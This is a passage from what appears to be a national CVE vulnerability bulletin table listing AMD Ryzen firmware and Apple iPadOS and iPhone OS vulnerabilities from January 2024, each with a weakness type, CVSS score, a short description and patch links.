Product: ryzen_9_7950x3d_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2343

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			various architectures. **CVE ID : CVE-2023-4969**		
Product: ryzen_9_7950x_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2344
Product: ryzen_9_pro_7945hs_firmware					
Affected Version(s): -					
Missing Release of Memory after Effective Lifetime	16-Jan-2024	6.5	A GPU kernel can read sensitive data from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	https://registry.khronos.org/vulkan/specs/1.3-extensions/html/index.html	O-AMD-RYZE-090224/2345
Product: ryzen_9_pro_7945_firmware					
Affected Version(s): -					
Missing Release of	16-Jan-2024	6.5	A GPU kernel can read sensitive data	https://registry.khronos.org/vu	O-AMD-RYZE-090224/2346

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Memory after Effective Lifetime			from another GPU kernel (even from another user or app) through an optimized GPU memory region called _local memory_ on various architectures. **CVE ID : CVE-2023-4969**	lkan/specs/1.3-extensions/html/index.html	
Vendor: Apple					
Product: ipados					
Affected Version(s): * Up to (excluding) 17.0					
N/A	23-Jan-2024	5.5	This issue was addressed by removing the vulnerable code. This issue is fixed in tvOS 17, watchOS 10, macOS Sonoma 14, iOS 17 and iPadOS 17, macOS Ventura 13.6.4. An app may be able to bypass Privacy preferences. **CVE ID : CVE-2023-40528**	https://support.apple.com/en-us/HT213936, https://support.apple.com/en-us/HT213937, https://support.apple.com/en-us/HT213938, https://support.apple.com/en-us/HT213940, https://support.apple.com/en-us/HT214058, https://support.apple.com/kb/HT213936	O-APP-IPAD-090224/2347
Affected Version(s): * Up to (excluding) 17.3					
N/A	23-Jan-2024	7.8	The issue was addressed with improved memory handling. This issue is fixed in macOS Sonoma 14.3, watchOS 10.3, tvOS 17.3, iOS 17.3	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-	O-APP-IPAD-090224/2348

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			and iPadOS 17.3. An app may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2024-23208**	us/HT214060, https://support.apple.com/en-us/HT214061	
Improper Authentication	23-Jan-2024	6.2	The issue was addressed with improved authentication. This issue is fixed in iOS 17.3 and iPadOS 17.3. Stolen Device Protection may be unexpectedly disabled. **CVE ID : CVE-2024-23219**	https://support.apple.com/en-us/HT214059	O-APP-IPAD-090224/2349
N/A	23-Jan-2024	6.2	A privacy issue was addressed with improved handling of files. This issue is fixed in macOS Sonoma 14.3, watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3. An app may be able to access sensitive user data. **CVE ID : CVE-2024-23223**	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061	O-APP-IPAD-090224/2350
Observable Discrepancy	23-Jan-2024	5.9	A timing side-channel issue was addressed with improvements to constant-time computation in cryptographic functions. This	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-	O-APP-IPAD-090224/2351

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			issue is fixed in macOS Sonoma 14.3, watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3. An attacker may be able to decrypt legacy RSA PKCS#1 v1.5 ciphertexts without having the private key. **CVE ID : CVE-2024-23218**	us/HT214060, https://support.apple.com/en-us/HT214061	
N/A	23-Jan-2024	5.5	An issue was addressed with improved handling of temporary files. This issue is fixed in macOS Sonoma 14.3, watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3. An app may be able to access user-sensitive data. **CVE ID : CVE-2024-23215**	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061	O-APP-IPAD-090224/2352
N/A	23-Jan-2024	3.3	This issue was addressed with improved redaction of sensitive information. This issue is fixed in macOS Sonoma 14.3, watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3. An app may be able to view a user's phone number in system logs.	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061	O-APP-IPAD-090224/2353

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-23210		
N/A	23-Jan-2024	3.3	A privacy issue was addressed with improved handling of temporary files. This issue is fixed in macOS Sonoma 14.3, watchOS 10.3, iOS 17.3 and iPadOS 17.3. An app may be able to bypass certain Privacy preferences. **CVE ID : CVE-2024-23217**	https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061	O-APP-IPAD-090224/2354
Affected Version(s): From (excluding) 16.0 Up to (excluding) 16.7.5					
N/A	23-Jan-2024	8.8	The issue was addressed with improved memory handling. This issue is fixed in watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma 14.3, iOS 16.7.5 and iPadOS 16.7.5, Safari 17.3. Processing web content may lead to arbitrary code execution. **CVE ID : CVE-2024-23213**	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214056, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061, https://support.apple.com/en-us/HT214063	O-APP-IPAD-090224/2355
Out-of-bounds Write	23-Jan-2024	8.8	Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed	https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214061,	O-APP-IPAD-090224/2356

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			in macOS Sonoma 14.3, iOS 16.7.5 and iPadOS 16.7.5, iOS 17.3 and iPadOS 17.3. Processing maliciously crafted web content may lead to arbitrary code execution. **CVE ID : CVE-2024-23214**	https://support.apple.com/en-us/HT214063	
Access of Resource Using Incompatible Type ('Type Confusion')	23-Jan-2024	8.8	A type confusion issue was addressed with improved checks. This issue is fixed in tvOS 17.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma 14.3, iOS 16.7.5 and iPadOS 16.7.5, Safari 17.3, macOS Ventura 13.6.4, macOS Monterey 12.7.3. Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been exploited. **CVE ID : CVE-2024-23222**	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214056, https://support.apple.com/en-us/HT214057, https://support.apple.com/en-us/HT214058, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214061	O-APP-IPAD-090224/2357
N/A	23-Jan-2024	7.8	Multiple issues were addressed by updating to curl version 8.4.0. This issue is fixed in macOS Ventura 13.6.4, macOS	https://support.apple.com/en-us/HT214036, https://support.apple.com/en-us/HT214057, https://support	O-APP-IPAD-090224/2358

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Sonoma 14.2, macOS Monterey 12.7.3, iOS 16.7.5 and iPadOS 16.7.5. Multiple issues in curl. **CVE ID : CVE-2023-42915**	.apple.com/en-us/HT214058, https://support.apple.com/en-us/HT214063, https://support.apple.com/kb/HT214036	
N/A	23-Jan-2024	7.8	The issue was addressed with improved memory handling. This issue is fixed in watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma 14.3, iOS 16.7.5 and iPadOS 16.7.5, macOS Ventura 13.6.4, macOS Monterey 12.7.3. An app may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2024-23212**	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214057, https://support.apple.com/en-us/HT214058, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061	O-APP-IPAD-090224/2359
N/A	23-Jan-2024	6.5	An access issue was addressed with improved access restrictions. This issue is fixed in watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma 14.3, iOS 16.7.5 and iPadOS 16.7.5, Safari 17.3. A maliciously crafted webpage may be	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214056, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061,	O-APP-IPAD-090224/2360

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			able to fingerprint the user. **CVE ID : CVE-2024-23206**	https://support.apple.com/en-us/HT214063	
N/A	23-Jan-2024	5.5	The issue was addressed with improved checks. This issue is fixed in iOS 16.7.5 and iPadOS 16.7.5, watchOS 10.2, macOS Ventura 13.6.4, macOS Sonoma 14.2, macOS Monterey 12.7.3, iOS 17.2 and iPadOS 17.2. Processing a maliciously crafted image may result in disclosure of process memory. **CVE ID : CVE-2023-42888**	https://support.apple.com/en-us/HT214035, https://support.apple.com/en-us/HT214036, https://support.apple.com/en-us/HT214041, https://support.apple.com/en-us/HT214057, https://support.apple.com/en-us/HT214058, https://support.apple.com/en-us/HT214063	O-APP-IPAD-090224/2361
N/A	23-Jan-2024	5.5	A privacy issue was addressed with improved private data redaction for log entries. This issue is fixed in iOS 16.7.5 and iPadOS 16.7.5, watchOS 10.2, macOS Ventura 13.6.4, macOS Sonoma 14.2, macOS Monterey 12.7.3, iOS 17.2 and iPadOS 17.2. An app may be able to access sensitive user data.	https://support.apple.com/en-us/HT214035, https://support.apple.com/en-us/HT214036, https://support.apple.com/en-us/HT214041, https://support.apple.com/en-us/HT214057, https://support.apple.com/en-us/HT214058, https://support.apple.com/en-us/HT214063	O-APP-IPAD-090224/2362

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-42937		
N/A	23-Jan-2024	3.3	A privacy issue was addressed with improved handling of user preferences. This issue is fixed in watchOS 10.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma 14.3, iOS 16.7.5 and iPadOS 16.7.5, Safari 17.3. A user's private browsing activity may be visible in Settings. **CVE ID : CVE-2024-23211**	https://support.apple.com/en-us/HT214056, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061, https://support.apple.com/en-us/HT214063	O-APP-IPAD-090224/2363
Affected Version(s): From (excluding) 17.0 Up to (excluding) 17.2					
N/A	23-Jan-2024	5.5	The issue was addressed with improved checks. This issue is fixed in iOS 16.7.5 and iPadOS 16.7.5, watchOS 10.2, macOS Ventura 13.6.4, macOS Sonoma 14.2, macOS Monterey 12.7.3, iOS 17.2 and iPadOS 17.2. Processing a maliciously crafted image may result in disclosure of process memory. **CVE ID : CVE-2023-42888**	https://support.apple.com/en-us/HT214035, https://support.apple.com/en-us/HT214036, https://support.apple.com/en-us/HT214041, https://support.apple.com/en-us/HT214057, https://support.apple.com/en-us/HT214058, https://support.apple.com/en-us/HT214063	O-APP-IPAD-090224/2364

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	23-Jan-2024	5.5	A privacy issue was addressed with improved private data redaction for log entries. This issue is fixed in iOS 16.7.5 and iPadOS 16.7.5, watchOS 10.2, macOS Ventura 13.6.4, macOS Sonoma 14.2, macOS Monterey 12.7.3, iOS 17.2 and iPadOS 17.2. An app may be able to access sensitive user data. **CVE ID : CVE-2023-42937**	https://support.apple.com/en-us/HT214035, https://support.apple.com/en-us/HT214036, https://support.apple.com/en-us/HT214041, https://support.apple.com/en-us/HT214057, https://support.apple.com/en-us/HT214058, https://support.apple.com/en-us/HT214063	O-APP-IPAD-090224/2365
Affected Version(s): From (excluding) 17.0 Up to (excluding) 17.3					
N/A	23-Jan-2024	8.8	The issue was addressed with improved memory handling. This issue is fixed in watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma 14.3, iOS 16.7.5 and iPadOS 16.7.5, Safari 17.3. Processing web content may lead to arbitrary code execution. **CVE ID : CVE-2024-23213**	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214056, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061, https://support.apple.com/en-us/HT214063	O-APP-IPAD-090224/2366
Out-of-bounds Write	23-Jan-2024	8.8	Multiple memory corruption issues were addressed	https://support.apple.com/en-us/HT214059,	O-APP-IPAD-090224/2367

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			with improved memory handling. This issue is fixed in macOS Sonoma 14.3, iOS 16.7.5 and iPadOS 16.7.5, iOS 17.3 and iPadOS 17.3. Processing maliciously crafted web content may lead to arbitrary code execution. **CVE ID : CVE-2024-23214**	https://support.apple.com/en-us/HT214061, https://support.apple.com/en-us/HT214063	
Access of Resource Using Incompatible Type ('Type Confusion')	23-Jan-2024	8.8	A type confusion issue was addressed with improved checks. This issue is fixed in tvOS 17.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma 14.3, iOS 16.7.5 and iPadOS 16.7.5, Safari 17.3, macOS Ventura 13.6.4, macOS Monterey 12.7.3. Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been exploited. **CVE ID : CVE-2024-23222**	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214056, https://support.apple.com/en-us/HT214057, https://support.apple.com/en-us/HT214058, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214061	O-APP-IPAD-090224/2368
N/A	23-Jan-2024	7.8	The issue was addressed with improved memory handling. This	https://support.apple.com/en-us/HT214055, https://support	O-APP-IPAD-090224/2369

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			issue is fixed in watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma 14.3, iOS 16.7.5 and iPadOS 16.7.5, macOS Ventura 13.6.4, macOS Monterey 12.7.3. An app may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2024-23212**	.apple.com/en-us/HT214057, https://support.apple.com/en-us/HT214058, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061	
N/A	23-Jan-2024	7.5	The issue was addressed with additional permissions checks. This issue is fixed in macOS Sonoma 14.3, iOS 17.3 and iPadOS 17.3. A shortcut may be able to use sensitive data with certain actions without prompting the user. **CVE ID : CVE-2024-23203**	https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214061	O-APP-IPAD-090224/2370
N/A	23-Jan-2024	7.5	The issue was addressed with additional permissions checks. This issue is fixed in macOS Sonoma 14.3, watchOS 10.3, iOS 17.3 and iPadOS 17.3. A shortcut may be able to use	https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061	O-APP-IPAD-090224/2371

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			sensitive data with certain actions without prompting the user. **CVE ID : CVE-2024-23204**		
N/A	23-Jan-2024	6.5	An access issue was addressed with improved access restrictions. This issue is fixed in watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma 14.3, iOS 16.7.5 and iPadOS 16.7.5, Safari 17.3. A maliciously crafted webpage may be able to fingerprint the user. **CVE ID : CVE-2024-23206**	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214056, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061, https://support.apple.com/en-us/HT214063	O-APP-IPAD-090224/2372
N/A	23-Jan-2024	5.5	This issue was addressed with improved redaction of sensitive information. This issue is fixed in watchOS 10.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma 14.3, macOS Ventura 13.6.4, macOS Monterey 12.7.3. An app may be able to access sensitive user data.	https://support.apple.com/en-us/HT214057, https://support.apple.com/en-us/HT214058, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061	O-APP-IPAD-090224/2373

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-23207		
N/A	23-Jan-2024	3.3	A privacy issue was addressed with improved handling of user preferences. This issue is fixed in watchOS 10.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma 14.3, iOS 16.7.5 and iPadOS 16.7.5, Safari 17.3. A user's private browsing activity may be visible in Settings. **CVE ID : CVE-2024-23211**	https://support.apple.com/en-us/HT214056, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061, https://support.apple.com/en-us/HT214063	O-APP-IPAD-090224/2374
Product: iphone_os					
Affected Version(s): * Up to (excluding) 17.0					
N/A	23-Jan-2024	5.5	This issue was addressed by removing the vulnerable code. This issue is fixed in tvOS 17, watchOS 10, macOS Sonoma 14, iOS 17 and iPadOS 17, macOS Ventura 13.6.4. An app may be able to bypass Privacy preferences. **CVE ID : CVE-2023-40528**	https://support.apple.com/en-us/HT213936, https://support.apple.com/en-us/HT213937, https://support.apple.com/en-us/HT213938, https://support.apple.com/en-us/HT213940, https://support.apple.com/en-us/HT214058, https://support.apple.com/kb/HT213936	O-APP-IPHO-090224/2375
Affected Version(s): * Up to (excluding) 17.3					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	23-Jan-2024	7.8	The issue was addressed with improved memory handling. This issue is fixed in macOS Sonoma 14.3, watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3. An app may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2024-23208**	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061	O-APP-IPHO-090224/2376
Improper Authentication	23-Jan-2024	6.2	The issue was addressed with improved authentication. This issue is fixed in iOS 17.3 and iPadOS 17.3. Stolen Device Protection may be unexpectedly disabled. **CVE ID : CVE-2024-23219**	https://support.apple.com/en-us/HT214059	O-APP-IPHO-090224/2377
N/A	23-Jan-2024	6.2	A privacy issue was addressed with improved handling of files. This issue is fixed in macOS Sonoma 14.3, watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3. An app may be able to access sensitive user data. **CVE ID : CVE-2024-23223**	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061	O-APP-IPHO-090224/2378

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Observable Discrepancy	23-Jan-2024	5.9	A timing side-channel issue was addressed with improvements to constant-time computation in cryptographic functions. This issue is fixed in macOS Sonoma 14.3, watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3. An attacker may be able to decrypt legacy RSA PKCS#1 v1.5 ciphertexts without having the private key. **CVE ID : CVE-2024-23218**	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061	O-APP-IPHO-090224/2379
N/A	23-Jan-2024	5.5	An issue was addressed with improved handling of temporary files. This issue is fixed in macOS Sonoma 14.3, watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3. An app may be able to access user-sensitive data. **CVE ID : CVE-2024-23215**	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061	O-APP-IPHO-090224/2380
N/A	23-Jan-2024	3.3	This issue was addressed with improved redaction of sensitive information. This issue is fixed in macOS Sonoma	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-	O-APP-IPHO-090224/2381

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			14.3, watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3. An app may be able to view a user's phone number in system logs. **CVE ID : CVE-2024-23210**	us/HT214060, https://support.apple.com/en-us/HT214061	
N/A	23-Jan-2024	3.3	A privacy issue was addressed with improved handling of temporary files. This issue is fixed in macOS Sonoma 14.3, watchOS 10.3, iOS 17.3 and iPadOS 17.3. An app may be able to bypass certain Privacy preferences. **CVE ID : CVE-2024-23217**	https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061	O-APP-IPHO-090224/2382
Affected Version(s): From (excluding) 16.0 Up to (excluding) 16.7.5					
N/A	23-Jan-2024	8.8	The issue was addressed with improved memory handling. This issue is fixed in watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma 14.3, iOS 16.7.5 and iPadOS 16.7.5, Safari 17.3. Processing web content may lead to arbitrary code execution.	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214056, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061, https://support	O-APP-IPHO-090224/2383

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-23213	.apple.com/en-us/HT214063	
Out-of-bounds Write	23-Jan-2024	8.8	Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in macOS Sonoma 14.3, iOS 16.7.5 and iPadOS 16.7.5, iOS 17.3 and iPadOS 17.3. Processing maliciously crafted web content may lead to arbitrary code execution. **CVE ID : CVE-2024-23214**	https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214061, https://support.apple.com/en-us/HT214063	O-APP-IPHO-090224/2384
Access of Resource Using Incompatible Type ('Type Confusion')	23-Jan-2024	8.8	A type confusion issue was addressed with improved checks. This issue is fixed in tvOS 17.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma 14.3, iOS 16.7.5 and iPadOS 16.7.5, Safari 17.3, macOS Ventura 13.6.4, macOS Monterey 12.7.3. Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been exploited.	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214056, https://support.apple.com/en-us/HT214057, https://support.apple.com/en-us/HT214058, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214061	O-APP-IPHO-090224/2385

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-23222		
N/A	23-Jan-2024	7.8	Multiple issues were addressed by updating to curl version 8.4.0. This issue is fixed in macOS Ventura 13.6.4, macOS Sonoma 14.2, macOS Monterey 12.7.3, iOS 16.7.5 and iPadOS 16.7.5. Multiple issues in curl. **CVE ID : CVE-2023-42915**	https://support.apple.com/en-us/HT214036, https://support.apple.com/en-us/HT214057, https://support.apple.com/en-us/HT214058, https://support.apple.com/en-us/HT214063, https://support.apple.com/kb/HT214036	O-APP-IPHO-090224/2386
N/A	23-Jan-2024	7.8	The issue was addressed with improved memory handling. This issue is fixed in watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma 14.3, iOS 16.7.5 and iPadOS 16.7.5, macOS Ventura 13.6.4, macOS Monterey 12.7.3. An app may be able to execute arbitrary code with kernel privileges. **CVE ID : CVE-2024-23212**	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214057, https://support.apple.com/en-us/HT214058, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061	O-APP-IPHO-090224/2387
N/A	23-Jan-2024	6.5	An access issue was addressed with improved access restrictions. This issue is fixed	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-	O-APP-IPHO-090224/2388

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			in watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma 14.3, iOS 16.7.5 and iPadOS 16.7.5, Safari 17.3. A maliciously crafted webpage may be able to fingerprint the user. **CVE ID : CVE-2024-23206**	us/HT214056, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061, https://support.apple.com/en-us/HT214063	
N/A	23-Jan-2024	5.5	The issue was addressed with improved checks. This issue is fixed in iOS 16.7.5 and iPadOS 16.7.5, watchOS 10.2, macOS Ventura 13.6.4, macOS Sonoma 14.2, macOS Monterey 12.7.3, iOS 17.2 and iPadOS 17.2. Processing a maliciously crafted image may result in disclosure of process memory. **CVE ID : CVE-2023-42888**	https://support.apple.com/en-us/HT214035, https://support.apple.com/en-us/HT214036, https://support.apple.com/en-us/HT214041, https://support.apple.com/en-us/HT214057, https://support.apple.com/en-us/HT214058, https://support.apple.com/en-us/HT214063	O-APP-IPHO-090224/2389
N/A	23-Jan-2024	5.5	A privacy issue was addressed with improved private data redaction for log entries. This issue is fixed in iOS 16.7.5 and iPadOS 16.7.5, watchOS 10.2, macOS Ventura 13.6.4,	https://support.apple.com/en-us/HT214035, https://support.apple.com/en-us/HT214036, https://support.apple.com/en-us/HT214041, https://support	O-APP-IPHO-090224/2390

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			macOS Sonoma 14.2, macOS Monterey 12.7.3, iOS 17.2 and iPadOS 17.2. An app may be able to access sensitive user data. **CVE ID : CVE-2023-42937**	.apple.com/en-us/HT214057, https://support.apple.com/en-us/HT214058, https://support.apple.com/en-us/HT214063	
N/A	23-Jan-2024	3.3	A privacy issue was addressed with improved handling of user preferences. This issue is fixed in watchOS 10.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma 14.3, iOS 16.7.5 and iPadOS 16.7.5, Safari 17.3. A user's private browsing activity may be visible in Settings. **CVE ID : CVE-2024-23211**	https://support.apple.com/en-us/HT214056, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-us/HT214061, https://support.apple.com/en-us/HT214063	O-APP-IPHO-090224/2391
Affected Version(s): From (excluding) 17.0 Up to (excluding) 17.2					
N/A	23-Jan-2024	5.5	The issue was addressed with improved checks. This issue is fixed in iOS 16.7.5 and iPadOS 16.7.5, watchOS 10.2, macOS Ventura 13.6.4, macOS Sonoma 14.2, macOS Monterey 12.7.3, iOS 17.2 and iPadOS 17.2.	https://support.apple.com/en-us/HT214035, https://support.apple.com/en-us/HT214036, https://support.apple.com/en-us/HT214041, https://support.apple.com/en-us/HT214057, https://support	O-APP-IPHO-090224/2392

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Processing a maliciously crafted image may result in disclosure of process memory. **CVE ID : CVE-2023-42888**	.apple.com/en-us/HT214058, https://support.apple.com/en-us/HT214063	
N/A	23-Jan-2024	5.5	A privacy issue was addressed with improved private data redaction for log entries. This issue is fixed in iOS 16.7.5 and iPadOS 16.7.5, watchOS 10.2, macOS Ventura 13.6.4, macOS Sonoma 14.2, macOS Monterey 12.7.3, iOS 17.2 and iPadOS 17.2. An app may be able to access sensitive user data. **CVE ID : CVE-2023-42937**	https://support.apple.com/en-us/HT214035, https://support.apple.com/en-us/HT214036, https://support.apple.com/en-us/HT214041, https://support.apple.com/en-us/HT214057, https://support.apple.com/en-us/HT214058, https://support.apple.com/en-us/HT214063	O-APP-IPHO-090224/2393
Affected Version(s): From (excluding) 17.0 Up to (excluding) 17.3					
N/A	23-Jan-2024	8.8	The issue was addressed with improved memory handling. This issue is fixed in watchOS 10.3, tvOS 17.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma 14.3, iOS 16.7.5 and iPadOS 16.7.5, Safari 17.3. Processing web content may lead	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214056, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214060, https://support.apple.com/en-	O-APP-IPHO-090224/2394

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			to arbitrary code execution. **CVE ID : CVE-2024-23213**	us/HT214061, https://support.apple.com/en-us/HT214063	
Out-of-bounds Write	23-Jan-2024	8.8	Multiple memory corruption issues were addressed with improved memory handling. This issue is fixed in macOS Sonoma 14.3, iOS 16.7.5 and iPadOS 16.7.5, iOS 17.3 and iPadOS 17.3. Processing maliciously crafted web content may lead to arbitrary code execution. **CVE ID : CVE-2024-23214**	https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214061, https://support.apple.com/en-us/HT214063	O-APP-IPHO-090224/2395
Access of Resource Using Incompatible Type ('Type Confusion')	23-Jan-2024	8.8	A type confusion issue was addressed with improved checks. This issue is fixed in tvOS 17.3, iOS 17.3 and iPadOS 17.3, macOS Sonoma 14.3, iOS 16.7.5 and iPadOS 16.7.5, Safari 17.3, macOS Ventura 13.6.4, macOS Monterey 12.7.3. Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this	https://support.apple.com/en-us/HT214055, https://support.apple.com/en-us/HT214056, https://support.apple.com/en-us/HT214057, https://support.apple.com/en-us/HT214058, https://support.apple.com/en-us/HT214059, https://support.apple.com/en-us/HT214061	O-APP-IPHO-090224/2396

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			issue may have been exploited. **CVE ID : CVE-2024-23222**		
